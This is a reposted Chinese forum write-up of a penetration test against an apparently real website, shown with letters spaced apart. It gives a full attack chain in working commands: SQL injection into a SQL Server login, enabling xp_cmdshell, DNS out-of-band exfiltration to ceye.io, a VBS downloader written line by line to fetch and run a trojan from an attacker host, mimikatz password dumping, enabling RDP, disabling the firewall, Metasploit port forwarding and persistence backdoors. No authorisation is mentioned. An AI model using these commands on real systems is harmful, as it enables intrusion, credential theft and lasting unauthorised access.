搜索

[28404] 2020-07-10_【渗透技术分享】记一次渗透实战

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-07-10_【渗透技术分享】记一次渗透实战 【 渗 透 技 术 分 享 】 记 一 次 渗 透 实 战 淚 笑 - l 3 y x   O t s 安 全   2 0 2 0 - 0 7 - 1 0 信 息 收 集 信 息 收 集 用 d i r s e a r c h 扫 了 一 波 目 录 没 有 发 现 什 么 东 西   直 接 用 主 站 域 名 解 析 的 i p 访 问 发 现 主 站 是 挂 有 c d n 的     s u b D o m a i n s B r u t e   扫 描 子 域 名   其 中 一 个 子 域 没 挂 C D N ， 由 此 找 到 网 站 的 真 实 i p     得 到 真 实 i p 后 n m a p 扫 描 发 现 8 0 9 9 端 口 有 个 未 知 应 用 访 问 发 现 是 个 W E B 服 务 ， 一 个 登 陆 界 面   漏 洞 利 用 漏 洞 利 用 趁 n m a p 还 在 工 作 的 时 候 ， 简 单 浏 览 了 下 网 站 的 功 能 ， 伪 静 态 ， 整 个 网 站 也 没 有 什 么 动 态 功 能   遂 把 目 光 放 在 了 n m a p 扫 出 的 8 0 9 9 端 口 的 w e b 服 务
    常 规 测 试 a d m i n / a d m i n ， 提 示 密 码 错 误   l 3 y x / x x x x ， 账 号 不 存 在   那 么 可 以 确 定 的 是 这 里 的 账 号 和 密 码 验 证 是 分 开 的 ， 确 有 a d m i n 账 号 。 而 且 没 有 验 证 码 ， 理 论 上 可 以 爆 破 了 ， 但 我 只 手 动 测 试 了 常 见 的 几 个 弱 口 令 ， 无 果 。 当 输 入 一 个 单 引 号 时 ( a d m i n ' / 1 2 3 1 2 3 )   ， 惊 喜 来 了 ， 此 处 存 在 s q l i ！ 于 是 很 熟 练 的 构 造 " 万 能 密 码 " ， a d m i n / x '   o r   ' x ' = ' x - -   然 后 反 应 过 来 了 ， 之 前 测 试 发 现 账 号 密 码 验 证 是 分 开 的 ， 后 台 的 账 号 密 码 验 证 肯 定 并 非   w h e r e   u s e r n a m e = x x x   a n d   p a s s w o r d = x x x   这 种 简 单 的 s q l 语 句 ， 所 以 继 续 测 试 观 察 报 错 信 息 账 号 密 码 的 验 证 貌 似 是 调 用 了 储 存 过 程 ， 类 似 如   e x e c u t e   @ r e s u l t =   v e r i f y   ' x x x ' , ' x x x ' ; 当 账 号 密 码 为 a d m i n / 1 1 ' , ' x x ' - - 时 ， 页 面 返 回 正 常
由 于 不 是 很 熟 悉 s q l s e r v e r 使 用 存 储 过 程 的 注 入 ， 想 尝 试 构 造 出 能 成 功 登 陆 的 p a y l o a d 没 有 成 功 ， 就 换 种 思 路 。 s q l s e r v e r 是 默 认 可 以 堆 叠 查 询 的 ， 所 以 只 要 把 之 前 的 语 句 闭 合 ， 那 么 就 可 以 在 其 后 执 行 任 意 s q l 语 句 ， 能 执 行 任 意 s q l 语 句 ， 那 么 同 样 利 用 存 储 过 程 就 可 以 执 行 系 统 命 令 第 一 步 先 用 如 下 语 句 开 启 扩 展 存 储 过 程 E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,     1 ; R E C O N F I G U R E ; 执 行 系 统 命 令 e x e c   m a s t e r . . x p _ c m d s h e l l   " w h o a m i " 这 里 是 不 会 有 回 显 的 命 令 执 行 结 果 的 ， 所 以 用 p i n g 命 令 来 判 断 命 令 执 行 结 果   命 令 执 行 结 果 命 令 执 行 结 果 D N S 带 外 带 外   有 时 候 能 执 行 命 令 却 看 不 见 结 果 也 是 很 难 受 的 ， 这 里 我 还 是 想 能 够 观 察 到 命 令 执 行 结 果 ， 用 到 D N S 带 外 的 方 法 ， 其 实 就 下 面 一 条 命 令 实 际 测 试 的 时 候 爬 了 很 多 坑 ， 当 前 执 行 目 录 可 能 没 有 写 权 限 ， 换 到 D 目 录 目 标 服 务 器 貌 似 没 有 n s l o o k u p ， 换 成 p i n g & & 这 两 个 字 符 一 定 要 编 码 ， 否 则 被 W E B 服 务 器 当 做 参 数 分 隔 符 了 生 成 的 t e m p 文 件 要 删 除 ， 否 则 下 次 执 行 会 失 败 s q l s e r v e r 中 一 对 双 引 号 其 中 的 双 引 号 用 两 个 双 引 号 代 替   最 后 的 p a y l a o d 没 想 到 直 接 就 是 s y s t e m 权 限 c m d   / v   / c   " w h o a m i   >   t e m p   & &   c e r t u t i l   - e n c o d e   t e m p   t e m p 2   & &   f i n d s t r   / L   / V   " C E R T I F I C A T E "   t e m p 2   >   t e m p 3   & &   s e t   / p   M Y V A R = <   t e m p 3   & &   s e t   F I N A L = ! M Y V A R ! . x x x . c e y e . i o   & &   n s l o o k u p   ! F I N A L ! " e x e c   m a s t e r . . x p _ c m d s h e l l     " w h o a m i > D : / t e m p % 2 6 % 2 6 c e r t u t i l   - e n c o d e   D : / t e m p   D : / t e m p 2 % 2 6 % 2 6 f i n d s t r   / L   / V   " " C E R T I F I C A T E " "   D : / t e m p 2 > D : / t e m p 3 " ; e x e c   m a s t e r . . x p _ c m d s h e l l     " c m d   / v   / c " " s e t   / p   M Y V A R = <   D : / t e m p 3   % 2 6 % 2 6   s e t   F I N A L = ! M Y V A R ! . x x x . c e y e . i o   % 2 6 % 2 6   p i n g   ! F I N A L ! " " " ; e x e c   m a s t e r . . x p _ c m d s h e l l     " d e l   " " D : / t e m p " "   " " D : / t e m p 2 " "   " " D : / t e m p 3 " " " ;
  写 入 写 入 V B S 下 载 木 马 下 载 木 马 c m d 命 令 行 做 不 到 下 载 文 件 ， 使 用 p o w e r s h e l l 容 易 被 杀 毒 软 件 拦 截 ， 在 该 服 务 器 上 测 试 p o w e r s h e l l 命 令 也 不 成 功 ， 所 以 就 用 v b s 来 下 载 文 件 v b s 下 载 文 件 脚 本 : 用 法 : c s c r i p t   D : / l . v b s   h t t p : / / x x . x x . x x . x x / x . e x e   D : / x . e x e 所 以 先 得 利 用 s q l 注 入 执 行 命 令 把 该 脚 本 一 点 点 写 入 文 件 ， 如 下 注 意 以 上 命 令 是 不 能 全 部 用 & & 连 接 起 来 一 起 输 入 的 ， 因 为 参 数 限 制 最 大 长 度 为   1 2 8 ， 还 有 在 s q l s e r v e r 中 双 引 号 内 输 入 双 引 号 是 需 要 输 入 两 个 双 引 号 的 ， 并 不 是 用 转 义 ， 如 图 在 执 行   c s c r i p t   D : / l . v b s   h t t p : / / i p / x . e x e   D : / x . e x e   命 令 后 ， 看 到 服 务 器 日 志 确 有 下 载 记 录 说 明 v b s 脚 本 写 入 成 功 而 且 确 实 下 载 了 文 件 ， 但 是 执 行   D : / x . e x e   后 没 有 收 到 s h e l l 怀 疑 是 杀 毒 软 件 给 拦 了 ， 但 我 确 实 做 过 免 杀 啊 . . . 后 来 检 查 发 现 ， 该 服 务 器 是 3 2 位 系 统 ， 而 我 用 的 是 6 4 位 的 p a y l o a d ， 自 然 不 会 成 功 ， 后 面 换 成 3 2 位 的 ， 成 功 弹 回 s h e l l i L o c a l   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 1 ) ) i R e m o t e   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 0 ) ) S e t   x P o s t   =   C r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " ) x P o s t . O p e n   " G E T " , i R e m o t e , 0 x P o s t . S e n d ( ) S e t   s G e t   =   C r e a t e O b j e c t ( " A D O D B . S t r e a m " ) s G e t . M o d e   =   3 s G e t . T y p e   =   1 s G e t . O p e n ( ) s G e t . W r i t e ( x P o s t . r e s p o n s e B o d y ) s G e t . S a v e T o F i l e   i L o c a l , 2 e c h o   i L o c a l   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 1 ) ) > D : / l . v b s e c h o   i R e m o t e   =   L C a s e ( W S c r i p t . A r g u m e n t s ( 0 ) ) > > D : / l . v b s e c h o   S e t   x P o s t   =   C r e a t e O b j e c t ( " " M i c r o s o f t . X M L H T T P " " ) > > D : / l . v b s e c h o   x P o s t . O p e n   " " G E T " " , i R e m o t e , 0   > > D : / l . v b s e c h o   x P o s t . S e n d ( )   > > D : / l . v b s e c h o   S e t   s G e t   =   C r e a t e O b j e c t ( " " A D O D B . S t r e a m " " ) > > D : / l . v b s e c h o   s G e t . M o d e   =   3   > > D : / l . v b s e c h o   s G e t . T y p e   =   1   > > D : / l . v b s e c h o   s G e t . O p e n ( ) > > D : / l . v b s e c h o   s G e t . W r i t e ( x P o s t . r e s p o n s e B o d y ) > > D : / l . v b s e c h o   s G e t . S a v e T o F i l e   i L o c a l , 2   > > D : / l . v b s
  信 息 收 集 信 息 收 集 查 了 一 下 i p ， 发 现 处 在 内 网   查 看 域 用 户 有 中 文 乱 码 ， 本 来 想 用 c h c p   6 5 0 0 1 切 换 成 U T F - 8 代 码 页 ， 但 只 要 切 换 成 U T F - 8   s h e l l 就 断 ， 不 知 具 体 原 因 。 不 过 u t f - 8 不 行 的 话 c h c p   4 3 7 切 换 到 I B M 4 3 7 英 语 好 了 看 到 这 里 是 没 有 域 的 ， 有 点 小 失 望   查 看 系 统 基 本 信 息   查 看 端 口 ， 没 开 3 3 8 9 i p c o n f i g n e t   g r o u p   / d o m a i n s y s t e m i n f o n e t s t a t   - a n o
  查 看 相 邻 主 机 I P 抓 用 户 h a s h 解 密 不 成 功 的 话 可 以 用 m i m i k a t z 直 接 抓 取 明 文 ， m e t a s p l o i t 已 经 内 置 ， 可 以 直 接 加 载 然 后 用 k e r b e r o s 命 令 抓 取 或 者 用 m i m i k a t z _ c o m m a n d 执 行 m i m i k a t z 命 令   连 接 连 接 3 3 8 9 目 标 3 3 8 9 是 没 有 开 启 的 ， 不 过 W i n 7 、 W i n 2 0 0 3 、 X P 系 统 可 用 如 下 命 令 直 接 开 启 a r p   – a l o a d   m i m i k a t z m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : l o g o n P a s s w o r d s R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f
关 闭 防 火 墙 : 尝 试 关 闭 防 火 墙 后 还 是 连 接 不 成 功 测 试 发 现 3 3 8 9 端 口 仍 然 为 c l o s e d 真 是 被 自 己 蠢 到 了 . . . 这 台 服 务 器 是 在 内 网 ， 要 连 接 自 然 的 先 把 端 口 转 发 到 公 网 上 啊 m e t a s p l o i t 端 口 转 发 : 这 句 命 令 是 将 目 标 ( - r   1 9 2 . 1 6 8 . 5 0 . 2 ) 的 3 3 8 9 端 口 ( - p   3 3 8 9 ) 转 发 到 我 服 务 器 的 3 3 8 9 端 口 ( - l   3 3 8 9 ) 然 后 打 开 远 程 桌 面 连 接 ， i p 即 为 我 服 务 器 的 公 网 i p ， 端 口 由 于 也 是 设 置 的 3 3 8 9 ， 所 以 不 用 改 n e t s h   f i r e w a l l   s e t   o p m o d e   m o d e = d i s a b l e p o r t f w d   a d d   - l   3 3 8 9   - p   3 3 8 9   - r   1 9 2 . 1 6 8 . 5 0 . 2
  内 网 扫 描 内 网 扫 描 要 对 目 标 内 网 进 行 扫 描 需 要 先 添 加 一 下 路 由 使 用 m e t a s p l o i t 的 p o r t s c a n 扫 描 一 下 内 网 存 活 的 主 机 有 点 慢 呢 ， 最 后 扫 了 一 半 还 没 发 现 其 他 主 机 就 放 弃 了   权 限 维 持 权 限 维 持 m e t a s p l o i   M e t s v c 模 块 模 块 这 个 使 用 很 简 单 其 实 是 给 目 标 开 了 一 个 服 务 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 5 0 . 2 / 2 4 u s e   a u x i l i a r y / s c a n n e r / p o r t s c a n / t c p s e t   r h o s t s   1 9 2 . 1 6 8 . 5 0 . 2 / 2 4 s e t   p o r t s   1 3 9 ,   4 4 5 e x p l o i t r u n   m e t s v c
连 接 的 话 使 用 e x p l o i t / m u l t i / h a n d l e r 模 块 ， p a y l o a d 设 置 为 w i n d o w s / m e t s v c _ b i n d _ t c p ， 设 置 目 标 i p 和 绑 定 端 口 3 1 3 3 7   m e t a s p l o i   P e r s i s t e n c e 模 块 模 块 - U ： 设 置 后 门 在 用 户 登 录 后 自 启 动 。 该 方 式 会 在 H K C U S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n 下 添 加 注 册 表 信 息 - i ： 设 置 反 向 连 接 间 隔 时 间 ， 单 位 为 秒 ； - p ： 设 置 反 向 连 接 的 端 口 号 ； - r ： 设 置 反 向 连 接 的 i p 地 址   清 除 脚 本 在 下 图 位 置 若 要 清 除 后 门 ， 在 m e t e r p r e t e r 运 行 该 脚 本 即 可 阅 读 原 文 r u n   p e r s i s t e n c e   - U   - i   6 0   - p   5 5 5 5   - r   x x . x x . x x . x x
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理